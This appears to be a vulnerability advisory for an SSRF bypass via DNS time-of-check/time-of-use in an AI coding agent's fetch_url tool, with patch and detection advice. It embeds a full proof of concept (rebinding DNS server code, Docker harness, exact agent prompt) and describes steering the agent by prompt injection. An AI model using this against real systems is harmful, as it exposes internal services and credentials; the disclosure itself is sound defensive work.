CodeWhale/deepseek-tui, an AI coding agent CLI, ships a URL-fetching tool with SSRF protection that checks a domain's DNS resolution once and then trusts a second, later resolution — a classic time-of-check/time-of-use gap that a malicious DNS server can exploit by failing the first lookup and returning an internal IP (e.g. 127.0.0.1) on the retry. The GHSA advisory ships a complete, ready-to-run PoC (custom DNS resolver, Docker Compose harness, and exact prompt), so despite EPSS scoring this at the 70th percentile and no confirmed CISA KEV listing, working exploit code is effectively already public. Blast radius looks contained today — zero tracked downstream dependents and no Nuclei template — but any deployment where the agent's fetch tool can reach internal services, localhost, or cloud metadata endpoints is exposed to full SSRF impact (CVSS 8.6, confidentiality-only). Patch codewhale/codewhale-tui to 0.8.64+ and deepseek-tui (npm) to 0.8.41+ immediately; note the deepseek-tui cargo crate has no listed patched version, so pin/replace or sandbox that build until one ships, and in the meantime restrict network egress for any agent process running this tool.
What is the risk?
High severity (CVSS 8.6) but currently low observed exploitation pressure: EPSS is 0.0037 (70th percentile — not a high-priority exploitation target relative to the broader CVE population), the CVE is not in CISA KEV, and no Nuclei scanner template exists. That said, the vulnerability class (SSRF via DNS rebinding/TOCTOU) is well understood and the advisory itself publishes a complete, copy-paste PoC including a malicious DNS server and Docker harness — meaning the 'no public exploit' signal understates real-world reproducibility. Exploitability requires the attacker to control a DNS server the target resolves through (e.g. via a lured domain or an indirect prompt injection instructing the agent to fetch an attacker-owned URL), which raises the bar slightly above trivial but is well within reach of any moderately resourced attacker. Package risk score is 0/100 with zero tracked downstream dependents, suggesting narrow current adoption — but the same package has 10 other recorded CVEs, indicating a pattern of security debt worth flagging for any team that has adopted it.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| DeepSeek TUI | npm | >= 0.8.41, < 0.8.64 | 0.8.64 |
| DeepSeek TUI | cargo | >= 0.8.41, < 0.8.64 | 0.8.64 |
| DeepSeek TUI | npm | >= 0.8.5, < 0.8.41 | 0.8.41 |
| DeepSeek TUI | cargo | >= 0.8.5, <= 0.8.41 | No patch |
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) Upgrade
codewhale/codewhale-tuito >=0.8.64 anddeepseek-tui(npm) to >=0.8.41 immediately — fix is in commit 26de44a. 2) Fordeepseek-tui(cargo), no patched version is listed as of this advisory; pin usage, isolate it in a network-restricted sandbox, or migrate off the crate until a fix ships. 3) Defense-in-depth regardless of patch status: enforce actual connection-time IP validation (resolve once, connect to the pinned IP, re-validate that IP against the deny-list) rather than a separate pre-check DNS lookup; block outbound requests to RFC1918/loopback/link-local ranges and cloud metadata IPs (169.254.169.254) at the network/egress layer (firewall/NAT), not just in application logic. 4) Run any agent with a fetch/browse tool inside a network-namespaced container with an explicit egress allowlist. 5) Detection: monitor for DNS queries showing NXDOMAIN/SERVFAIL immediately followed by a successful resolution to a private/loopback IP for the same domain within a short window — a strong TOCTOU/DNS-rebinding indicator.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-75856?
CodeWhale/deepseek-tui, an AI coding agent CLI, ships a URL-fetching tool with SSRF protection that checks a domain's DNS resolution once and then trusts a second, later resolution — a classic time-of-check/time-of-use gap that a malicious DNS server can exploit by failing the first lookup and returning an internal IP (e.g. 127.0.0.1) on the retry. The GHSA advisory ships a complete, ready-to-run PoC (custom DNS resolver, Docker Compose harness, and exact prompt), so despite EPSS scoring this at the 70th percentile and no confirmed CISA KEV listing, working exploit code is effectively already public. Blast radius looks contained today — zero tracked downstream dependents and no Nuclei template — but any deployment where the agent's fetch tool can reach internal services, localhost, or cloud metadata endpoints is exposed to full SSRF impact (CVSS 8.6, confidentiality-only). Patch codewhale/codewhale-tui to 0.8.64+ and deepseek-tui (npm) to 0.8.41+ immediately; note the deepseek-tui cargo crate has no listed patched version, so pin/replace or sandbox that build until one ships, and in the meantime restrict network egress for any agent process running this tool.
Is CVE-2026-75856 actively exploited?
No confirmed active exploitation of CVE-2026-75856 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-75856?
1) Upgrade `codewhale`/`codewhale-tui` to >=0.8.64 and `deepseek-tui` (npm) to >=0.8.41 immediately — fix is in commit 26de44a. 2) For `deepseek-tui` (cargo), no patched version is listed as of this advisory; pin usage, isolate it in a network-restricted sandbox, or migrate off the crate until a fix ships. 3) Defense-in-depth regardless of patch status: enforce actual connection-time IP validation (resolve once, connect to the pinned IP, re-validate that IP against the deny-list) rather than a separate pre-check DNS lookup; block outbound requests to RFC1918/loopback/link-local ranges and cloud metadata IPs (169.254.169.254) at the network/egress layer (firewall/NAT), not just in application logic. 4) Run any agent with a fetch/browse tool inside a network-namespaced container with an explicit egress allowlist. 5) Detection: monitor for DNS queries showing NXDOMAIN/SERVFAIL immediately followed by a successful resolution to a private/loopback IP for the same domain within a short window — a strong TOCTOU/DNS-rebinding indicator.
What systems are affected by CVE-2026-75856?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI CLI/coding agents with web-fetch tools, AI agent tool invocation pipelines.
What is the CVSS score for CVE-2026-75856?
CVE-2026-75856 has a CVSS v3.1 base score of 8.6 (HIGH). The EPSS exploitation probability is 0.37%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0053 AI Agent Tool Invocation AML.T0086 Exfiltration via AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
### Maintainer resolution The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below. ### Summary DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic. ### Details Simplified attack scenario: 1. Attacker asks agent to visit the `mydomain.com`. 2. CodeWhale tries to resolve the IP of `mydomain.com`, however, the custom DNS server that's controlled by the attacker marks the request DNS query as failed (Time of Check). 3. CodeWhale allows the code to continue as it expects it request to fail again. 4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1) 5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations. In the [DNS-pinning](https://github.com/Hmbown/CodeWhale/blob/8dff2f7525ead210a01347b48f53ae3f20d094ec/crates/tui/src/tools/fetch_url.rs#L362) section, when DNS fails, the code is allowed to continue as it's expected to fail. However ### PoC This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS server(for PoC, should be placed in `dnser/dns_resolver.py`: ```python #!/usr/bin/env python3 """ Local DNS Resolver — customizable request/response handling. Uses only the standard library + dnslib. Usage: pip install dnslib sudo python dns_resolver.py # binds to 0.0.0.0:53 by default python dns_resolver.py --port 5353 # unprivileged port for testing """ import argparse import socket import threading from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA UPSTREAM_DNS = ("8.8.8.8", 53) # fallback resolver def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None: """Drop all AAAA requests.""" if QTYPE[query.q.qtype] == "AAAA": reply = query.reply() reply.header.rcode = 3 # NXDOMAIN return reply return None def handle_blocked(query: DNSRecord) -> DNSRecord | None: """Block domains by returning NXDOMAIN.""" blocked = {"blocked.example.com.", "ads.tracker.io."} qname = str(query.q.qname) if qname in blocked: print(f" [BLOCKED] {qname}") reply = query.reply() reply.header.rcode = 3 # NXDOMAIN return reply return None failer = 0 MAX_FAIL = 2 MAX_SUCCESS = 2 def handle_overrides(query: DNSRecord) -> DNSRecord | None: global failer """Return hardcoded A records for specific names (split-horizon / local dev).""" overrides: dict[str, str] = { "myapp.local.": "127.0.0.1", "devserver.local.": "192.168.1.100", "mydomain.com.": "127.0.0.1", } qname = str(query.q.qname) qtype = QTYPE[query.q.qtype] if qname in overrides and qtype == "A": failer += 1 cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS) # position within cycle should_fail = cycle_pos < MAX_FAIL print(f" [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}") if should_fail: reply = query.reply() reply.header.rcode = 3 reply.header.ra = 0 return reply ip = overrides[qname] print(f" [OVERRIDE] {qname} → {ip}") reply = query.reply() reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0)) reply.header.ra = 0 return reply return None def handle_rewrite(query: DNSRecord) -> DNSRecord | None: """Rewrite a CNAME transparently (resolve alias locally).""" rewrites: dict[str, str] = { # "old.internal.": "new.internal.", } qname = str(query.q.qname) if qname in rewrites: target = rewrites[qname] print(f" [REWRITE] {qname} → {target}") reply = query.reply() reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60)) return reply return None def handle_upstream(query: DNSRecord) -> DNSRecord | None: """Forward the query to the upstream resolver.""" try: raw = query.pack() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(3) sock.sendto(raw, UPSTREAM_DNS) data, _ = sock.recvfrom(4096) sock.close() reply = DNSRecord.parse(data) print(f" [UPSTREAM] {query.q.qname} → {UPSTREAM_DNS[0]}") return reply except Exception as e: print(f" [UPSTREAM ERROR] {e}") return None # Chain of responsibility — handlers are tried in order; first non-None wins. HANDLERS = [ handle_blocked, handle_overrides, handle_rewrite, handle_upstream, ] # ───────────────────────────────────────────────────────────────────────────── # Server plumbing — no need to edit below this line # ───────────────────────────────────────────────────────────────────────────── def resolve(data: bytes) -> bytes: try: query = DNSRecord.parse(data) qname = str(query.q.qname) qtype = QTYPE[query.q.qtype] print(f"[QUERY] {qtype} {qname}") for handler in HANDLERS: reply = handler(query) if reply is not None: return reply.pack() # Fallback: SERVFAIL reply = query.reply() reply.header.rcode = 2 return reply.pack() except Exception as e: print(f"[ERROR] Failed to parse/handle query: {e}") return b"" def udp_server(host: str, port: int) -> None: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((host, port)) print(f"DNS resolver listening on {host}:{port} (UDP)") while True: data, addr = sock.recvfrom(4096) threading.Thread( target=lambda d=data, a=addr: sock.sendto(resolve(d), a), daemon=True, ).start() def tcp_server(host: str, port: int) -> None: srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((host, port)) srv.listen(10) print(f"DNS resolver listening on {host}:{port} (TCP)") def handle_conn(conn: socket.socket) -> None: with conn: length_bytes = conn.recv(2) if len(length_bytes) < 2: return length = int.from_bytes(length_bytes, "big") data = conn.recv(length) response = resolve(data) conn.sendall(len(response).to_bytes(2, "big") + response) while True: conn, _ = srv.accept() threading.Thread(target=handle_conn, args=(conn,), daemon=True).start() def main() -> None: parser = argparse.ArgumentParser(description="Local DNS resolver") parser.add_argument("--host", default="0.0.0.0", help="Bind address") parser.add_argument("--port", type=int, default=53, help="Bind port (use 5353 for unprivileged)") args = parser.parse_args() t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True) t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True) t_udp.start() t_tcp.start() try: t_udp.join() except KeyboardInterrupt: print("\nShutting down.") if __name__ == "__main__": main() ``` Docker file to build it(`dnser/Dockerfile`): ```bash FROM python:3.12-slim WORKDIR /app RUN pip install dnslib --no-cache-dir COPY dns_resolver.py . EXPOSE 53/udp EXPOSE 53/tcp CMD ["python", "-u", "dns_resolver.py", "--host", "0.0.0.0", "--port", "53"] ``` Then to simplify the test, we can set everything in a container and make the agent use the local DNS resolver: `docker-compose.yml`: ```yaml services: dns-resolver: build: dnser container_name: dns-resolver restart: unless-stopped networks: dns-net: ipv4_address: 10.0.1.2 a: image: ghcr.io/hmbown/deepseek-tui:latest container_name: tui environment: DEEPSEEK_API_KEY: sk- stdin_open: true tty: true dns: 10.0.1.2 networks: - dns-net depends_on: - dns-resolver sysctls: net.ipv6.conf.all.disable_ipv6: 1 networks: dns-net: driver: bridge ipam: config: - subnet: 10.0.1.0/24 ``` Then to check everything we could simply: `sudo docker attach tui` Prompt: `read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output` The tool will allow the request to go through 127.0.0.1. To make sure it's not a false-positive I've also installed python in CodeWhale container and ran `python3 -m http.server 80` as root to make sure the request can actually read content. To read the logs from dns-resolver: `sudo docker logs -f dns-resolver` ### Impact Similar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.
Exploitation Scenario
An attacker registers a domain (e.g. `mydomain.com`) pointed at a DNS server they control, then gets an agent using CodeWhale/deepseek-tui's `fetch_url` tool to visit it — either directly, or indirectly via a prompt-injected instruction embedded in content the agent processes. When the agent's SSRF filter performs its initial DNS check, the attacker's DNS server intentionally fails the query (NXDOMAIN/SERVFAIL), so the filter allows the request to 'fail safely' and proceed. On the actual connection attempt moments later, the same DNS server now resolves the domain to `127.0.0.1` (or another internal/private IP), and the tool connects and fetches content from that internal address, returning it to the attacker through the agent's response. In the researcher's PoC this was demonstrated by standing up an internal HTTP server on port 80 inside the CodeWhale container and successfully reading its content from the outside via the agent, confirming full SSRF bypass of the DNS-pinning mitigation.
Weaknesses (CWE)
CWE-918 — Server-Side Request Forgery (SSRF): The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N References
- github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e
- github.com/Hmbown/CodeWhale/security/advisories/GHSA-6v2g-fpxh-pmmh
- github.com/advisories/GHSA-6v2g-fpxh-pmmh
- nvd.nist.gov/vuln/detail/CVE-2026-75856
- vulncheck.com/advisories/codewhale-before-ssrf-bypass-via-dns-pinning-toctou
Timeline
Related Vulnerabilities
CVE-2026-45311 9.6 deepseek-tui: prompt injection enables zero-approval RCE
Same package: deepseek-tui CVE-2026-75913 9.3 Analysis pending
Same package: deepseek-tui CVE-2026-75911 7.8 Analysis pending
Same package: deepseek-tui CVE-2026-75858 7.8 Analysis pending
Same package: deepseek-tui CVE-2026-75915 7.5 deepseek-tui: js_execution leaks parent secrets to LLM
Same package: deepseek-tui